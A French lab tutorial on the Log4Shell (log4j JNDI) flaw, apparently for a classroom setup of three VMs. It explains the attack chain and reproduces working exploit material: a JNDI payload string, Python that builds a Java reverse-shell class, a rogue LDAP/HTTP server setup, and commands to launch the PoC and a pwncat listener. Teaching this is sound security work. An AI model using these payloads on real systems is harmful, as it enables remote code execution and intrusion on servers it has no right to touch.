Skip to content

Log4J

Explication de la faille de sécurité

La théorie

La faille log4j exploite une fonctionnalité de recherche JNDI non sécurisée, activée par défaut dans plusieurs versions de la bibliothèque de logging log4j. C'est une bibliothèque de journalisation très populaire utilisée dans de nombreux projets et applications Java. Voici comme théoriqument exploiter la faille de sécurité dans un environnement non sécurisé : 1. L’attaquant envoie le paquet préparé pour l’attaque (payload), par exemple dans le champ « nom d’utilisateur » d’un formulaire HTML, qu’on imagine aisément tracé sur les logs de l’application, mais toute information loguée ferait l’affaire (un entête HTTP peut suffire) ; 2. Le serveur reçoit l’info et écrit, via log4j, dans les logs de l’application ; 3. Le payload contient un appel JNDI. log4j va alors réaliser ce lookup et aller chercher l’objet désigné qui sera injecté dans le processus du serveur cible.

Voici un schéma pratique de la cinématique d'attaque :

sequenceDiagram
    autonumber
    actor Attaquant as Attaquant (10.3.3.193)
    participant Cible as Application Cible (Tomcat :8080)
    participant LDAP as Serveur LDAP Rogue (Attaquant :1389)
    participant HTTP as Serveur Web (Attaquant :8000)
    participant Shell as Listener Shell (pwncat :9001)

    Attaquant->>Cible: Injection du payload JNDI dans une requête HTTP<br/>(${jndi:ldap://10.3.3.193:1389/a})
    activate Cible
    Note over Cible: L'application journalise les données.<br/>Log4j résout l'expression JNDI et initie le lookup.
    Cible->>LDAP: Requête LDAP Lookup
    activate LDAP
    LDAP-->>Cible: Réponse LDAP avec redirection Codebase Java<br/>(javaCodeBase: http://10.3.3.193:8000/Exploit.class)
    deactivate LDAP
    Cible->>HTTP: Requête HTTP GET pour télécharger Exploit.class
    activate HTTP
    HTTP-->>Cible: Envoi du bytecode compilé Exploit.class
    deactivate HTTP
    Note over Cible: La JVM charge et instancie la classe malveillante.<br/>Exécution du payload.
    Cible->>Shell: Connexion Reverse Shell sortante (TCP :9001)
    deactivate Cible
    activate Shell
    Shell-->>Attaquant: Session shell interactive ouverte (RCE)
    deactivate Shell

La pratique

Pour exploiter la faille, nous utilisons l'outil log4j-shell-poc.

On peut voir une démonstration de l'outil ci-dessous :

https://user-images.githubusercontent.com/87979263/146113359-20663eaa-555d-4d60-828d-a7f769ebd266.mp4


En analysant le script Python poc.py, la fonction generate_payload() génère dynamiquement une classe Java (Exploit.java) puis la compile en bytecode avec javac. Ce code ouvre un reverse shell vers l'adresse IP et le port spécifiés lorsqu'il est instancié sur la cible :

def generate_payload(userip: str, lport: int) -> None:
    program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Exploit {
    public Exploit() throws Exception {
        String host="%s";
        int port=%d;
        String cmd="/bin/sh";
        Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
        Socket s=new Socket(host,port);
        InputStream pi=p.getInputStream(),
            pe=p.getErrorStream(),
            si=s.getInputStream();
        OutputStream po=p.getOutputStream(),so=s.getOutputStream();
        while(!s.isClosed()) {
            while(pi.available()>0)
                so.write(pi.read());
            while(pe.available()>0)
                so.write(pe.read());
            while(si.available()>0)
                po.write(si.read());
            so.flush();
            po.flush();
            Thread.sleep(50);
            try {
                p.exitValue();
                break;
            }
            catch (Exception e){
            }
        };
        p.destroy();
        s.close();
    }
}
""" % (userip, lport)

    # Écriture du fichier Exploit.java et compilation via le javac du JDK 8u20
    p = Path("Exploit.java")
    try:
        p.write_text(program)
        subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
    except OSError as e:
        print(Fore.RED + f'[-] Something went wrong {e}')
        raise e
    else:
        print(Fore.GREEN + '[+] Exploit java class created success')

La fonction payload() coordonne ensuite l'infrastructure d'attaque : elle génère le payload, démarre un serveur LDAP rogue (via marshalsec) dans un thread dédié pour renvoyer la redirection JNDI, et lance un serveur HTTP local pour servir la classe compilée Exploit.class :

def payload(userip: str, webport: int, lport: int) -> None:
    generate_payload(userip, lport)

    print(Fore.GREEN + '[+] Setting up LDAP server\\n')

    # Création et démarrage du serveur LDAP rogue dans un nouveau thread
    t1 = threading.Thread(target=ldap_server, args=(userip, webport))
    t1.start()

    # Démarrage du serveur Web HTTP servant Exploit.class sur le port spécifié
    print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
    httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
    httpd.serve_forever()

Mise en place du TP

Prérequis

  1. Instance Debian ou dérivée
  2. Trois VM sur le même réseau

Préparation de l'attaquant

Installer le payload et les dépendances

Abstract

Le script poc.py dépend impérativement d'un environnement Oracle JDK 8u20 extrait sous le dossier jdk1.8.0_20 à la racine du dépôt : 1. Il utilise directement jdk1.8.0_20/bin/javac pour compiler le fichier Exploit.java généré. 2. Il lance le serveur LDAP de rebond marshalsec avec jdk1.8.0_20/bin/java. 3. L'archive d'origine (jdk-8u20-linux-x64.tar.gz) provient des archives Oracle Java SE 8 (nécessite un compte Oracle pour le téléchargement).

sudo apt update
sudo apt install python3 python3-pip -y
pip install colorama argparse pwncat-cs
git clone https://github.com/kozmer/log4j-shell-poc.git
cd log4j-shell-poc

# Extraction de l'archive JDK 8u20 (doit produire le dossier jdk1.8.0_20)
tar -xf jdk-8u20-linux-x64.tar.gz

# Lancement de l'infrastructure d'attaque (LDAP sur :1389 + HTTP sur :8000)
python3 poc.py --userip 10.3.3.193 --webport 8000 --lport 9001

Dans une autre session, attendre la connexion du reverse shell

python3 -m pwncat -lp 9001 -m linux

Préparation de la victime

Installer docker et installer l'instance web :

git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker 
cd log4j-shell-poc
sudo docker build -t log4j-shell-poc .
sudo docker run -d --restart unless-stopped --name log4j-target --network host log4j-shell-poc

Préparation de la version patchée

git clone https://github.com/kozmer/log4j-shell-poc
sudo apt install docker 
cd log4j-shell-poc
rm Dockerfile
sudo tee -a Dockerfile  >/dev/null <<'EOF'
FROM tomcat:9.0-jre8
RUN rm -rf /usr/local/tomcat/webapps/*
ADD target/log4shell-1.0-SNAPSHOT.war /usr/local/tomcat/webapps/ROOT.war
EXPOSE 8080 
CMD ["catalina.sh", "run"]
EOF

Les sources :

Github et Autre